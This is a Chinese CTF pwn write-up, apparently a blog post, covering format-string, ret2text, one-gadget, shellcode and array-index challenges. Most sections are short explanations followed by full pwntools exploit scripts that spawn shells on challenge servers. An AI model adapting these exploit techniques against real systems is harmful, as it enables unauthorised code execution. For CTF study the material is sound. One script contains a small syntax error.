	payload = b'%' + str((ret>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((rdi>> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 8 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((binsh >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x10 + i)
	sa(b'>>\n', payload)

for i in range(6):
	payload = b'%' + str((system >> 8*i) & 0xff).encode() + b'c%10$hhn'
	payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x18 + i)
	sa(b'>>\n', payload)

sa(b'>>\n',b'%10$hhn'.ljust(0x10 b'\x00')+p64(stack-4+3))
	
inter()

fmt_stack3

e2fda166fdb444e88f39a29733b8ef70.png

由于只有一次修改的机会,将fini_array函数改为vuln让程序再执行一次。

然后就会执行已经被改为system的printf函数。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack3')
elf = ELF('./fmt_stack3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

fini_array = 0x403178

payload = fmtstr_payload(6, {fini_array:elf.sym['vuln'], elf.got['printf']:elf.sym['system']})
sa(b'name?\n', payload)

sa(b'name?\n', b'/bin/sh\x00')
inter()

fmt

很遗憾,在比赛的时候没完全学会使用patchelf的使用,被这道题弄得晕头转向。

4e4d67b211634a4090730a2d18807f59.png

存在格式化字符串漏洞先泄露pie和libcbase,由于使用fmtstr_payload的payload过长,所以我们手写payload。

from pwn import *
#io=process('./pwn')
io=remote('124.71.99.248',20776)
elf=ELF('./pwn')
context(os='linux',arch = 'amd64')
libc=ELF('libc-2.27.so')
 
#gdb.attach(io)
 
 
payload=b'%23$p%35$p'
io.recv()
io.send(payload)
pie=int(io.recv(14),16)-elf.sym['vuln1']-33
print(hex(pie))
base=int(io.recv(14),16)-libc.sym['__libc_start_main']-231
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))
printf_got=pie+elf.got['printf']
a=int((hex(sys)[-4:]),16)
b=int((hex(sys)[-6:-4]),16)
print(hex(a))
print(hex(b))
payload1=(b'%'+str(b).encode()+b'c%12$hhn'+b'%'+str(a-b).encode()+b'c%13$hn').ljust(0x20,b'\x00')
print(hex(len(payload1)))
payload1+=p64(printf_got+2)+p64(printf_got)
#pause()
 
io.send(payload1)
 
io.send(b'/bin/sh\x00')
io.recv()
io.interactive()

 HELLO WORLD

比赛的时候根本没看这题(哭死

一道很有意思的brop,是ret2text,在交互过程中刷好感度,获得后门函数地址,最后利用gets函数输入,溢出长度为0x4+0x8

exp

from pwn import *
 
 
io=remote('124.71.99.248',20854)
 
 
io.recv()
io.sendline()
sleep(1)
io.sendline(str(2))
sleep(1)
io.sendline(str(4))
sleep(1)
io.sendline(str(6))
sleep(1)
io.sendline(str(2))
 
io.recvuntil(b'key:')
key=int(io.recv(14),16)
print(hex(key))
io.sendline(str(7))
sleep(0.5)
payload=b'a'*(0x4+0x8)+p64(key)
io.recvuntil(b'get:\n')
io.sendline(payload)
io.interactive()

easyfmt

一道非栈上格式化自字符串,复现的过程中让我学到了很多。

b0692f482b944ee597a4dfe3442113c1.png

因为开启了full relro,所以不能直接修改got表。非栈上格式化字符串需要利用像rbp所指向的栈链为跳板,来完成对main函数的返回地址及其指向的内容的修改。

先修改格式化字符串漏洞的执行次数,再一点点地修改libc_start_main以及onegadget

最后再将函数执行次数改为零

exp

from pwn import *
libc=ELF("./libc-2.27.so")
#io=process('pwn')
io=remote("124.71.99.248",20871)
 
io.sendafter("stdin>>\n",b'%21$p.%8$p.')
libcbase=int(io.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(io.recvuntil(b'.')[-13:-1],16)-0x20
 
one_gadget =libcbase+0x4f2a5
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%66c%16$hhn')
for  i in range(6):
    io.sendafter("stdin>>\n",b'%'+str((stack+8+i)&0xff).encode()+b'c%12$hhn')
    io.sendafter("stdin>>\n",b'%'+str((one_gadget>>8*i)&0xff).encode()+b'c%16$hhn')
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%16$hhn')
io.interactive()

oneshot_tjctf_2016

 8eb839b1a9484ebfa914c89e0bb9bf39.png

给了两次向V4输入数据的机会,第一次会打印v4的内容,可得到libc_base,第二次会执行V4,输入onegadget即可。

exp

from pwn import *
#io=process('./oneshot_tjctf_2016')
context(arch='amd64', os='linux')
io=remote('node5.buuoj.cn',28728)
elf=ELF('./oneshot_tjctf_2016')
libc=ELF('libc-2.23.so')
 
io.recv()
payload=elf.got['puts']
io.sendline(str(payload))
io.recvuntil(b'0x')
base=int(io.recv(16),16)-libc.sym['puts']
onegadget=base+0x45216
io.recv()
io.send(str(onegadget))
io.interactive()

wustctf2020_number_game

1d377a2d832d4af69eb830e4a3774a64.png

32位开启了NX和canary保护。

shell()中直接给出了system('/bin/sh')函数

我们需要让v1满足if中的表达式,在v1=-v1中,会发生补码,

2147483648是32位int最大的数

所以输入-2147483648可绕过补码,获得shell。

starctf_2019_babyshell

a705065a050c4cec92ac6518658f60f9.png

虽然开启了NX保护,但由于mmap函数的存在buf变得可读可写可执行。

b285bc683be448479215b6739a00e5ac.png

但任需要绕过sub_400786里的检查。shellcode需要是unk_400978中的字符,开头为\x00的汇编指令可以绕过检查

exp

from pwn import*
context.arch="amd64"
io=remote('node5.buuoj.cn',27695)
payload=b'\x00\x00'+asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

wustctf2020_name_your_dog

32位开启了NX保护和canary

110e1bd02f7d4727a14cfd75490064c8.png

 

 40a2d394115745868ba52877d7166e86.png

9e0c5e3e57e84258afcde068e66c848b.png

存在后门函数。

该题存在数组越界漏洞,但由于dog在bss段上,我们需要通过将got表改写为后门函数的方式来获得shell。

exp

from pwn import *
 
io=remote('node5.buuoj.cn',29868)
#io=process("./wustctf2020_name_your_dog")
 
shell=0x080485CB
io.sendlineafter(">",b'-7')
io.sendlineafter("Give your name plz: ",p32(shell))
io.interactive()

wdb_2018_3rd_soEasy

32位未开启任何保护,使用shellcode梭哈,还给出了buf的地址,还有栈溢出。

479e3fe37d874ced94801524631dbb01.png

exp

from pwn import *
 
io=remote('node5.buuoj.cn',27686)
#io=process("./wdb_2018_3rd_soEasy")
elf=ELF('./wdb_2018_3rd_soEasy')
 
io.recvuntil(b'gift->')
buf=int(io.recv(10),16)
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
print(hex(len(shellcode)))
payload=shellcode.ljust(0x4c,b'\x00')+p32(buf)
io.sendline(payload)
io.interactive()

judgement_mna_2016

32位

7f70ea0da60a49e4b704304d3b78c6ab.png

aca2a0dac5104dd2abe97e825b059530.png

主函数中存在格式化字符串漏洞 

gdb调试可以发现flag就在栈中

exp

from pwn import *
p=remote("node5.buuoj.cn",28829)
p.sendline('%28$s:%32$s')
p.interactive()

 

 

 

 

  • 30
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值